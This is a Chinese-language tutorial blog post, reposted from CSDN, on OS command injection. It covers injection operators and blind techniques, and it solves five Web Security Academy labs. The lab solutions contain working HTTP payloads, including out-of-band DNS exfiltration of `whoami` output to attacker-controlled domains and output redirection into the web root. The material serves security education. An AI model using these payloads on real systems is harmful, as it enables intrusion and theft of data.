0


WEB安全基础入门—操作系统命令注入(shell 注入)

欢迎关注订阅专栏!
WEB安全系列包括如下三个专栏:

  • 《WEB安全基础-服务器端漏洞》
  • 《WEB安全基础-客户端漏洞》
  • 《WEB安全高级-综合利用》

知识点全面细致,逻辑清晰、结合实战,并配有大量练习靶场,让你读一篇、练一篇,掌握一篇,在学习路上事半功倍,少走弯路!

欢迎关注订阅专栏!
  • 专栏文章追求对知识点的全面总结,逻辑严密,方便学习掌握。力求做到看完一篇文章,掌握一类漏洞知识。让读者简洁高效的掌握WEB安全知识框架,推开入门深造的大门。
  • 绝不为了追求文章数量,彰显内容丰富而故意拆散相关知识点。避免读者沉迷在无尽的技巧中而迷失进阶的道路!本系列的目标是授之以渔,而不仅仅是技巧的堆砌。
  • 每篇文章均配有大量靶场,点击文章中靶场名即可跳转练习(靶场在网站注册即可免费使用)。
  • 欢迎订阅专栏!建议学完两个基础专栏,再学习高级哦~

WEB安全基础入门—操作系统命令注入(shell 注入)

1. 什么是操作系统命令注入

攻击者可在服务器端执行任意系统(OS)命令,获取敏感数据。通常攻击者会尝试利用系统内部的信任关系,将攻击转移到系统内的其他系统,获取更大权限。
在这里插入图片描述

2. 攻击流程解析

以电商网站为例,经常有查询库存余量的功能,URL如下

https://insecure-website.com/stockStatus?productID=381&storeID=29

后台在处理此URL时,调用库存查询接口,由于历史原因,接口往往需要使用shell命令调用其他系统模块。类似如下命令

stockreport.pl 381 29

.pl 是perl语言源程序文件的扩展名,参数值将作为参数传入该“脚本”进行调用库存余量查询。

如果将该脚本参数改为如下

stockreport.pl & echo aiwefwlguh & 29

&为系统命令分隔符,会将上述一条命令差分为3条系统命令,显示结果如下:

Error - productID was not provided  (stockreport.pl未得到有效参数,报错)
aiwefwlguh(echo命令执行)
29: command not found (系统无法辨别的命令)

例题 1

3. 常用命令

发现漏洞后,应执行一些基础命令,查看相关系统信息。
目标LinuxWindows当前用户名whoamiwhoami操作系统uname -aver网络配置ifconfigipconfig /all网络连接状态netstat -annetstat -an运行进程ps -eftasklist

4. 命令注入盲注漏洞

有些命令注入命令,不会随响应包响应任何结果。如反馈信息页,当用户完成了反馈,点击提交后。系统允许会生成如下邮件命令发送给管理员

mail -s "This site is great" -aFrom:[email protected] [email protected]

这个命令就算存在的命令注入漏洞,但是在用户web端不会有任何回显。
但我们可以尝试以下方式进行测试漏洞是否存在

利用时间延迟测试漏洞存在

& ping -c 10 127.0.0.1 &

系统若存在漏洞,将会发起10次ping命令,导致响应时间延迟。

例题2

利用输出重定向来获取结果

& whoami > /var/www/static/whoami.txt &

若命令执行成功,命令执行结果将会写入路径下的whoami.txt文件中。若能成功读取该文件,就能获取结果。

例题3

利用带外技术(OAST)获取结果

& nslookup kgji2ohoyw.web-attacker.com &
& nslookup 

whoami

.kgji2ohoyw.web-attacker.com &

使用命令nslookup来发起DNS对特定域名(攻击者控制的域名)的查询。通过查询访问记录获取结果

例题4、5

5. 常用注入操作符

window与类linux系统通用

  • &
  • &&
  • |
  • ||

类linux专用

  • 0x0a or \n (换新行)

类linux行内命令执行

  • command
  • $(command)

注意:命令注入要注意是否有引号等包裹,注意闭合后溢出,命令才能执行

6. 漏洞实例

1. 操作系统命令注入,简单案例 (OS command injection, simple case)

  • 目标

在查看库存量功能处存在命令执行漏洞。执行

whoami

命令回显当前用户

  • 解题详情
productId=1&storeId=1|ps%20-ef
productId=1&storeId=1|whoami
productId=1&storeId=1;whoami

2. 带有时延的操作系统命令盲注入 (Blind OS command injection with time delays)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,执行

盲注

导致10s延迟

  • 解题详情
name=fssa&email=123%40123.com||ping%20-c%2010%20192.168.1.1||&subject=13&message=adfs
name=fssa&email=123%40123.com;ping%20-c%2010%20192.168.1.1;&subject=13&message=adfs

3. 带有输出重定向的盲注操作系统命令注入(Blind OS command injection with output redirection)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,执行

whoami

命令,将结果输出重定向到

/var/www/images/

,获取结果。

  • 解题详情
POST/feedback/submit HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net

csrf=f29VvEikq8kD255HWZvBLeu18JAX33Ei&name=1&email=123%40123.com||whoami%20>%20/var/www/images/result.txt||&subject=123&message=hello
GET/image?filename=result.txt HTTP/1.1
Host: ac7f1f491f106b8fc08829fc00b50011.web-security-academy.net
Cookie: session=TekRg9mt7CtTUqeyrHh8toH3lyZiUXTu

4. 带外交互的盲注操作系统命令注入 (Blind OS command injection with out-of-band interaction)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,利用Burp Collaborator执行

DNS lookup

命令

  • 解题详情
POST/feedback/submit HTTP/1.1
Host: acc91f7c1e635f04c0c01cc100fa0054.web-security-academy.net                 

csrf=hLmRCnMINZA3RlaRBGIx6djbKV0t5911&name=2&email=123%40123.com||nslookup%20xxy8f3kz49690drczkiwx10zbqhg55.burpcollaborator.net||&subject=2&message=hello

5. 带外数据外泄的盲注操作系统命令注入(Blind OS command injection with out-of-band data exfiltration)

  • 目标

在问题反馈功能处存在盲注命令执行漏洞,利用OAST技术获取当前用户名信息并提交。

  • 解题详情
POST/feedback/submit HTTP/1.1
Host: aca51fa91ec5cbaec0d2294d00f300a8.web-security-academy.net

csrf=mJQ6zYNSkbeEGecCkoqfLemDT8pQeklX&name=3&email=123%40123.com||nslookup%20`whoami`.okcz2u7qr0t0n4e3mb5nksnqyh48sx.burpcollaborator.net||&subject=3&message=hello

在这里插入图片描述


本文转载自: https://blog.csdn.net/eason612/article/details/125150098
版权归原作者 Eason_LYC 所有, 如有侵权,请联系我们删除。

“WEB安全基础入门—操作系统命令注入(shell 注入)”的评论:

还没有评论